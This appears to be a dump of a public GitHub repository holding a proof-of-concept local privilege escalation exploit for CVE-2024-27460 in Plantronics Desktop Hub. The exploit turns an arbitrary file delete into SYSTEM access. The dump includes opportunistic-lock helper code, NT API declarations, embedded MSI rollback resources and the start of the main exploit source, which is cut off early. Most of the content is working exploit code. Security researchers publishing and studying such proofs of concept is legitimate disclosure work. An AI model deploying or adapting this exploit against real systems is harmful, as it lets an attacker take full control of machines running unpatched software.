├── CVE-2024-27460 ├── cmd.rbs ├── Msi_Rollback.msi ├── resource.h ├── FileOpLock.h ├── CVE-2024-27460.vcxproj.filters ├── resource.rc ├── def.h ├── FileOpLock.cpp ├── CVE-2024-27460.vcxproj └── CVE-2024-27460.cpp ├── README.md ├── CVE-2024-27460.sln └── .gitignore /CVE-2024-27460/cmd.rbs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xct/CVE-2024-27460/HEAD/CVE-2024-27460/cmd.rbs -------------------------------------------------------------------------------- /CVE-2024-27460/Msi_Rollback.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xct/CVE-2024-27460/HEAD/CVE-2024-27460/Msi_Rollback.msi -------------------------------------------------------------------------------- /CVE-2024-27460/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by FolderOrFileDeleteToSystem.rc 4 | // 5 | #define IDR_RBS1 101 6 | #define IDR_MSI1 102 7 | 8 | // Next default values for new objects 9 | // 10 | #ifdef APSTUDIO_INVOKED 11 | #ifndef APSTUDIO_READONLY_SYMBOLS 12 | #define _APS_NEXT_RESOURCE_VALUE 107 13 | #define _APS_NEXT_COMMAND_VALUE 40001 14 | #define _APS_NEXT_CONTROL_VALUE 1001 15 | #define _APS_NEXT_SYMED_VALUE 101 16 | #endif 17 | #endif 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-27460 - Plantronics Desktop Hub LPE 2 | 3 | Arbitrary File Delete to SYSTEM. Majority of code is based on the referenced PoC by @filip_dragovic. Thanks @filip_dragovic & @k0zmer :) 4 | 5 | Blog Post: [https://mantodeasecurity.de/en/2024/05/cve-2024-27460-plantronics-hub-lpe](https://mantodeasecurity.de/en/2024/05/cve-2024-27460-plantronics-hub-lpe/) 6 | 7 | ## References 8 | 9 | - https://support.hp.com/us-en/document/ish_9869257-9869285-16/hpsbpy03895 10 | - https://github.com/Wh04m1001/CVE-2023-20178 11 | - [@filip_dragovic](https://twitter.com/filip_dragovic) 12 | - [@k0zmer](https://twitter.com/k0zmer) 13 | -------------------------------------------------------------------------------- /CVE-2024-27460/FileOpLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class FileOpLock 7 | { 8 | public: 9 | typedef void(*UserCallback)(); 10 | static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb); 11 | static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb); 12 | void WaitForLock(UINT Timeout); 13 | 14 | ~FileOpLock(); 15 | private: 16 | 17 | HANDLE g_hFile; 18 | OVERLAPPED g_o; 19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; 20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; 21 | HANDLE g_hLockCompleted; 22 | PTP_WAIT g_wait; 23 | UserCallback _cb; 24 | 25 | FileOpLock(UserCallback cb); 26 | 27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, 28 | PVOID Parameter, PTP_WAIT Wait, 29 | TP_WAIT_RESULT WaitResult); 30 | static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance, 31 | PVOID Parameter, PTP_WAIT Wait, 32 | TP_WAIT_RESULT WaitResult); 33 | void DoWaitCallback(); 34 | void DoWaitCallbackt(); 35 | bool BeginLock(HANDLE hfile); 36 | bool BeginLock(const std::wstring& name); 37 | 38 | }; 39 | 40 | 41 | -------------------------------------------------------------------------------- /CVE-2024-27460.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.8.34330.188 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-27460", "CVE-2024-27460\CVE-2024-27460.vcxproj", "{6B58808C-72C0-42D7-B71A-25ADD3F0717E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Debug|x64.ActiveCfg = Debug|x64 17 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Debug|x64.Build.0 = Debug|x64 18 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Debug|x86.ActiveCfg = Debug|Win32 19 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Debug|x86.Build.0 = Debug|Win32 20 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Release|x64.ActiveCfg = Release|x64 21 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Release|x64.Build.0 = Release|x64 22 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Release|x86.ActiveCfg = Release|Win32 23 | {6B58808C-72C0-42D7-B71A-25ADD3F0717E}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {5F18966D-7D8D-49C8-BFEC-D0D27646A8CC} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CVE-2024-27460/CVE-2024-27460.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | 37 | 38 | Resource Files 39 | 40 | 41 | -------------------------------------------------------------------------------- /CVE-2024-27460/resource.rc: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "winres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | ///////////////////////////////////////////////////////////////////////////// 15 | // English (United Kingdom) resources 16 | 17 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) 18 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK 19 | #pragma code_page(1252) 20 | 21 | #ifdef APSTUDIO_INVOKED 22 | ///////////////////////////////////////////////////////////////////////////// 23 | // 24 | // TEXTINCLUDE 25 | // 26 | 27 | 1 TEXTINCLUDE 28 | BEGIN 29 | "resource.h\0" 30 | END 31 | 32 | 2 TEXTINCLUDE 33 | BEGIN 34 | "#include ""winres.h""\r\n" 35 | "\0" 36 | END 37 | 38 | 3 TEXTINCLUDE 39 | BEGIN 40 | "\r\n" 41 | "\0" 42 | END 43 | 44 | #endif // APSTUDIO_INVOKED 45 | 46 | 47 | ///////////////////////////////////////////////////////////////////////////// 48 | // 49 | // RBS 50 | // 51 | 52 | IDR_RBS1 RBS "cmd.rbs" 53 | 54 | 55 | ///////////////////////////////////////////////////////////////////////////// 56 | // 57 | // MSI 58 | // 59 | 60 | IDR_MSI1 MSI "Msi_Rollback.msi" 61 | 62 | #endif // English (United Kingdom) resources 63 | ///////////////////////////////////////////////////////////////////////////// 64 | 65 | 66 | 67 | #ifndef APSTUDIO_INVOKED 68 | ///////////////////////////////////////////////////////////////////////////// 69 | // 70 | // Generated from the TEXTINCLUDE 3 resource. 71 | // 72 | 73 | 74 | ///////////////////////////////////////////////////////////////////////////// 75 | #endif // not APSTUDIO_INVOKED 76 | -------------------------------------------------------------------------------- /CVE-2024-27460/def.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct _REPARSE_DATA_BUFFER { 5 | ULONG ReparseTag; 6 | USHORT ReparseDataLength; 7 | USHORT Reserved; 8 | union { 9 | struct { 10 | USHORT SubstituteNameOffset; 11 | USHORT SubstituteNameLength; 12 | USHORT PrintNameOffset; 13 | USHORT PrintNameLength; 14 | ULONG Flags; 15 | WCHAR PathBuffer[1]; 16 | } SymbolicLinkReparseBuffer; 17 | struct { 18 | USHORT SubstituteNameOffset; 19 | USHORT SubstituteNameLength; 20 | USHORT PrintNameOffset; 21 | USHORT PrintNameLength; 22 | WCHAR PathBuffer[1]; 23 | } MountPointReparseBuffer; 24 | struct { 25 | UCHAR DataBuffer[1]; 26 | } GenericReparseBuffer; 27 | } DUMMYUNIONNAME; 28 | } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; 29 | typedef struct _OBJECT_DIRECTORY_INFORMATION { 30 | UNICODE_STRING Name; 31 | UNICODE_STRING TypeName; 32 | } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; 33 | #define STATUS_MORE_ENTRIES 0x00000105 34 | #define STATUS_NO_MORE_ENTRIES 0x8000001A 35 | #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) 36 | 37 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); 38 | typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 39 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 40 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength); 41 | typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)( 42 | HANDLE FileHandle, 43 | PIO_STATUS_BLOCK IoStatusBlock, 44 | PVOID FileInformation, 45 | ULONG Length, 46 | ULONG FileInformationClass 47 | ); 48 | 49 | _RtlInitUnicodeString pRtlInitUnicodeString; 50 | _NtCreateFile pNtCreateFile; 51 | _NtSetInformationFile pNtSetInformationFile; 52 | 53 | -------------------------------------------------------------------------------- /CVE-2024-27460/FileOpLock.cpp: -------------------------------------------------------------------------------- 1 | #include "FileOpLock.h" 2 | #include 3 | 4 | 5 | 6 | FileOpLock::FileOpLock(UserCallback cb) : 7 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) 8 | { 9 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 10 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer); 11 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; 12 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; 13 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 14 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer); 15 | } 16 | 17 | 18 | FileOpLock::~FileOpLock() 19 | { 20 | if (g_wait) 21 | { 22 | SetThreadpoolWait(g_wait, nullptr, nullptr); 23 | CloseThreadpoolWait(g_wait); 24 | g_wait = nullptr; 25 | } 26 | 27 | if (g_o.hEvent) 28 | { 29 | CloseHandle(g_o.hEvent); 30 | g_o.hEvent = nullptr; 31 | } 32 | 33 | if (g_hFile != INVALID_HANDLE_VALUE) 34 | { 35 | CloseHandle(g_hFile); 36 | g_hFile = INVALID_HANDLE_VALUE; 37 | } 38 | } 39 | bool FileOpLock::BeginLock(const std::wstring& filename) 40 | { 41 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 42 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 43 | 44 | 45 | 46 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 47 | 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0); 48 | if (g_hFile == INVALID_HANDLE_VALUE) { 49 | 50 | return false; 51 | } 52 | 53 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 54 | if (g_wait == nullptr) 55 | { 56 | 57 | return false; 58 | } 59 | 60 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 61 | 62 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 63 | &g_inputBuffer, sizeof(g_inputBuffer), 64 | &g_outputBuffer, sizeof(g_outputBuffer), 65 | nullptr, &g_o); 66 | if (GetLastError() != ERROR_IO_PENDING) { 67 | 68 | return false; 69 | } 70 | 71 | return true; 72 | } 73 | bool FileOpLock::BeginLock(HANDLE hfile) 74 | { 75 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 76 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 77 | 78 | 79 | 80 | g_hFile = hfile; 81 | if (g_hFile == INVALID_HANDLE_VALUE) { 82 | 83 | return false; 84 | } 85 | 86 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 87 | if (g_wait == nullptr) 88 | { 89 | 90 | return false; 91 | } 92 | 93 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 94 | //DWORD bytesReturned; 95 | 96 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 97 | &g_inputBuffer, sizeof(g_inputBuffer), 98 | &g_outputBuffer, sizeof(g_outputBuffer), 99 | nullptr, &g_o); 100 | /*DeviceIoControl(g_hFile, 101 | FSCTL_REQUEST_OPLOCK_LEVEL_1, 102 | NULL, 0, 103 | NULL, 0, 104 | &bytesReturned, 105 | &g_o);*/ 106 | if (GetLastError() != ERROR_IO_PENDING) { 107 | 108 | return false; 109 | } 110 | 111 | return true; 112 | } 113 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb) 114 | { 115 | FileOpLock* ret = new FileOpLock(cb); 116 | 117 | if (ret->BeginLock(name)) 118 | { 119 | return ret; 120 | } 121 | else 122 | { 123 | delete ret; 124 | return nullptr; 125 | } 126 | } 127 | FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb) 128 | { 129 | FileOpLock* ret = new FileOpLock(cb); 130 | 131 | if (ret->BeginLock(hfile)) 132 | { 133 | return ret; 134 | } 135 | else 136 | { 137 | delete ret; 138 | return nullptr; 139 | } 140 | } 141 | void FileOpLock::WaitForLock(UINT Timeout) 142 | { 143 | WaitForSingleObject(g_hLockCompleted, Timeout); 144 | } 145 | 146 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, 147 | PVOID Parameter, PTP_WAIT Wait, 148 | TP_WAIT_RESULT WaitResult) 149 | { 150 | UNREFERENCED_PARAMETER(Instance); 151 | UNREFERENCED_PARAMETER(Wait); 152 | UNREFERENCED_PARAMETER(WaitResult); 153 | 154 | FileOpLock* lock = reinterpret_cast(Parameter); 155 | 156 | lock->DoWaitCallback(); 157 | } 158 | void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance, 159 | PVOID Parameter, PTP_WAIT Wait, 160 | TP_WAIT_RESULT WaitResult) 161 | { 162 | UNREFERENCED_PARAMETER(Instance); 163 | UNREFERENCED_PARAMETER(Wait); 164 | UNREFERENCED_PARAMETER(WaitResult); 165 | 166 | FileOpLock* lock = reinterpret_cast(Parameter); 167 | 168 | lock->DoWaitCallbackt(); 169 | } 170 | void FileOpLock::DoWaitCallbackt() 171 | { 172 | DWORD dwBytes; 173 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 174 | 175 | } 176 | 177 | if (_cb) 178 | { 179 | _cb(); 180 | } 181 | g_hFile = INVALID_HANDLE_VALUE; 182 | SetEvent(g_hLockCompleted); 183 | } 184 | void FileOpLock::DoWaitCallback() 185 | { 186 | DWORD dwBytes; 187 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 188 | 189 | } 190 | 191 | if (_cb) 192 | { 193 | _cb(); 194 | } 195 | 196 | 197 | CloseHandle(g_hFile); 198 | g_hFile = INVALID_HANDLE_VALUE; 199 | SetEvent(g_hLockCompleted); 200 | } 201 | -------------------------------------------------------------------------------- /CVE-2024-27460/CVE-2024-27460.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {6b58808c-72c0-42d7-b71a-25add3f0717e} 25 | CVE202427460 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreaded 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Nuget personal access tokens and Credentials 210 | nuget.config 211 | 212 | # Microsoft Azure Build Output 213 | csx/ 214 | *.build.csdef 215 | 216 | # Microsoft Azure Emulator 217 | ecf/ 218 | rcf/ 219 | 220 | # Windows Store app package directories and files 221 | AppPackages/ 222 | BundleArtifacts/ 223 | Package.StoreAssociation.xml 224 | _pkginfo.txt 225 | *.appx 226 | *.appxbundle 227 | *.appxupload 228 | 229 | # Visual Studio cache files 230 | # files ending in .cache can be ignored 231 | *.[Cc]ache 232 | # but keep track of directories ending in .cache 233 | !?*.[Cc]ache/ 234 | 235 | # Others 236 | ClientBin/ 237 | ~$* 238 | *~ 239 | *.dbmdl 240 | *.dbproj.schemaview 241 | *.jfm 242 | *.pfx 243 | *.publishsettings 244 | orleans.codegen.cs 245 | 246 | # Including strong name files can present a security risk 247 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 248 | #*.snk 249 | 250 | # Since there are multiple workflows, uncomment next line to ignore bower_components 251 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 252 | #bower_components/ 253 | 254 | # RIA/Silverlight projects 255 | Generated_Code/ 256 | 257 | # Backup & report files from converting an old project file 258 | # to a newer Visual Studio version. Backup files are not needed, 259 | # because we have git ;-) 260 | _UpgradeReport_Files/ 261 | Backup*/ 262 | UpgradeLog*.XML 263 | UpgradeLog*.htm 264 | ServiceFabricBackup/ 265 | *.rptproj.bak 266 | 267 | # SQL Server files 268 | *.mdf 269 | *.ldf 270 | *.ndf 271 | 272 | # Business Intelligence projects 273 | *.rdl.data 274 | *.bim.layout 275 | *.bim_*.settings 276 | *.rptproj.rsuser 277 | *- [Bb]ackup.rdl 278 | *- [Bb]ackup ([0-9]).rdl 279 | *- [Bb]ackup ([0-9][0-9]).rdl 280 | 281 | # Microsoft Fakes 282 | FakesAssemblies/ 283 | 284 | # GhostDoc plugin setting file 285 | *.GhostDoc.xml 286 | 287 | # Node.js Tools for Visual Studio 288 | .ntvs_analysis.dat 289 | node_modules/ 290 | 291 | # Visual Studio 6 build log 292 | *.plg 293 | 294 | # Visual Studio 6 workspace options file 295 | *.opt 296 | 297 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 298 | *.vbw 299 | 300 | # Visual Studio LightSwitch build output 301 | **/*.HTMLClient/GeneratedArtifacts 302 | **/*.DesktopClient/GeneratedArtifacts 303 | **/*.DesktopClient/ModelManifest.xml 304 | **/*.Server/GeneratedArtifacts 305 | **/*.Server/ModelManifest.xml 306 | _Pvt_Extensions 307 | 308 | # Paket dependency manager 309 | .paket/paket.exe 310 | paket-files/ 311 | 312 | # FAKE - F# Make 313 | .fake/ 314 | 315 | # CodeRush personal settings 316 | .cr/personal 317 | 318 | # Python Tools for Visual Studio (PTVS) 319 | __pycache__/ 320 | *.pyc 321 | 322 | # Cake - Uncomment if you are using it 323 | # tools/** 324 | # !tools/packages.config 325 | 326 | # Tabs Studio 327 | *.tss 328 | 329 | # Telerik's JustMock configuration file 330 | *.jmconfig 331 | 332 | # BizTalk build output 333 | *.btp.cs 334 | *.btm.cs 335 | *.odx.cs 336 | *.xsd.cs 337 | 338 | # OpenCover UI analysis results 339 | OpenCover/ 340 | 341 | # Azure Stream Analytics local run output 342 | ASALocalRun/ 343 | 344 | # MSBuild Binary and Structured Log 345 | *.binlog 346 | 347 | # NVidia Nsight GPU debugger configuration file 348 | *.nvuser 349 | 350 | # MFractors (Xamarin productivity tool) working folder 351 | .mfractor/ 352 | 353 | # Local History for Visual Studio 354 | .localhistory/ 355 | 356 | # BeatPulse healthcheck temp database 357 | healthchecksdb 358 | 359 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 360 | MigrationBackup/ 361 | 362 | # Ionide (cross platform F# VS Code tools) working folder 363 | .ionide/ 364 | 365 | # Fody - auto-generated XML schema 366 | FodyWeavers.xsd 367 | 368 | # VS Code files for those working on multiple tools 369 | .vscode/* 370 | !.vscode/settings.json 371 | !.vscode/tasks.json 372 | !.vscode/launch.json 373 | !.vscode/extensions.json 374 | *.code-workspace 375 | 376 | # Local History for Visual Studio Code 377 | .history/ 378 | 379 | # Windows Installer files from build outputs 380 | *.cab 381 | *.msix 382 | *.msm 383 | *.msp 384 | 385 | # JetBrains Rider 386 | .idea/ 387 | *.sln.iml -------------------------------------------------------------------------------- /CVE-2024-27460/CVE-2024-27460.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "resource.h" 8 | #include "def.h" 9 | #include "FileOplock.h" 10 | #pragma comment(lib, "Msi.lib") 11 | #pragma comment(lib, "Shlwapi.lib") 12 | #pragma comment(lib, "PathCch.lib") 13 | #pragma comment(lib, "rpcrt4.lib") 14 | #pragma warning(disable:4996) 15 | 16 | FileOpLock* oplock; 17 | FileOpLock* oplock1; 18 | HANDLE hFile, hFile2; 19 | HANDLE hthread; 20 | NTSTATUS retcode; 21 | HMODULE hm = GetModuleHandle(NULL); 22 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); 23 | DWORD RbsSize = SizeofResource(hm, res); 24 | void* RbsBuff = LoadResource(hm, res); 25 | WCHAR dir[MAX_PATH] = { 0x0 }; 26 | WCHAR dir2[MAX_PATH] = { 0x0 }; 27 | WCHAR file[MAX_PATH] = 